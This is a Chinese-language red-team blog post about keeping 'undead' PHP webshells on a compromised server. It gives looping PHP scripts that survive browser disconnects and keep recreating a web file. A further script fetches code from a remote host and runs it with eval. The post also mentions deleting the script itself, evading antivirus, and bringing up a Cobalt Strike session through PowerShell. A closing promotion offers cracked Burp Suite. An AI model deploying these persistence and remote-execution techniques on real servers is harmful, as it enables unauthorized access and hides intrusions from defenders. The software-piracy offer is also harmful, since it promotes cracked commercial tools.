【红队技巧】Php-不死马的权限维持

知识大全 5年前 (2021) Jie
796 0 0

大家在渗透测试中,碰到java的程序,都会打上一个内存马

但是在php的程序中很少有这种webshell/维持方式,/无主文件落地的方式

接下来就让小编带你聊聊,php中不死马的权限维持,其实早在之前比较火

0x01 PHp - 不死马(内存马)

在实战当中,现在很少有人用不死马了,其实可以有效的去用来做一些防护的绕过。也加大了一些溯源的难度,和宿主检测webshell的难度


第一种,是把木马通过写入的方式一直不停的去写入相关的文件(弊端需要一直请求该地址)

下面是比较简单的代码

<?php
$file = fopen("test.php", "w"); //打开一个文件
$txt = "<?php phpinfo();?>\n";
fwrite($file, $txt);  //写入一个文件
fclose($file);
?>

当我们去访问这个php文件的时候,会生成一个 test.php的文件,当然也可以添加一个while循环,if判断

<?php
do {
$filename = 'test.php';
if(file_exists($filename)) {
echo "xxx";
}
else {
$file = fopen("test.php", "w");
$txt = "<?php phpinfo();?>\n";
fwrite($file, $txt);
fclose($file);
}
} while (true);
?>>

【红队技巧】Php-不死马的权限维持

 

 

 

 

 


 

 

 

第二种,在第一种的基础上增加 几个函数,由php-fgi进程,去运行,达到无主文件落地的一个运行方式

ignore_user_abort(); //关掉浏览器,PHP脚本也可以继续执行.
set_time_limit(0);//通过set_time_limit(0)可以让程序无限制的执行下去

代码如下


<?php
ignore_user_abort(); //关掉浏览器,PHP脚本也可以继续执行.
set_time_limit(0);//通过set_time_limit(0)可以让程序无限制的执行下去
$interval = 5; // 每隔*秒运行
do {
$filename = 'test.php';
if(file_exists($filename)) {
echo "xxx";
}
else {
$file = fopen("test.php", "w");
$txt = "<?php phpinfo();?>\n";
fwrite($file, $txt);
fclose($file);
}
sleep($interval);
} while (true);
?>>

【红队技巧】Php-不死马的权限维持


看完上面两种方式,是不是都存在一个弊端,就是还是有文件落地,我们可以不可以做到无文件的落地,答案是肯定可以的

unlink(__FILE__) //删除文件本身ignore_user_abort(true); //与客户端的长连接file_get_contents  //把文件读入一个字符串

我们在第二种方式的前提下,进行 语句变种,修改里面文件 代码即可

我们来组装配合下

首先 测试2.php 的dome,这样是成功的,目的是包含远程的txt文件,然后在用eval去执行,有的小伙伴肯定好奇,这样的免杀效果为0,php的免杀对于大家来说应该问题不大吧

<?php
$remote_file = 'http://192.168.3.114:81/test.txt';
$code = file_get_contents($remote_file);
eval($code);?>

 

相信大家已经猜测到了什么,我们把如上代码修改,放入第二种方法中,我这边直接powershell 上线 cs

【红队技巧】Php-不死马的权限维持


 

 

 

 

 

 

“不死马” 的缺点,如果容器,服务重启,将会断开

关注黑客街,回复 burp 即可 获取 最新版破解burp 

【红队技巧】Php-不死马的权限维持

如果您觉得该文章有用,请记得点赞和转发哟。

您的阅读和转发 希望都可以让身边的朋友能够共同成长

谢谢大家关注黑客街安全团队

觉得不错点个“赞”、“在看”,支持下小编

版权声明:Jie 发表于 2021年10月13日 pm3:01。
转载请注明:【红队技巧】Php-不死马的权限维持 | 黑客街

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...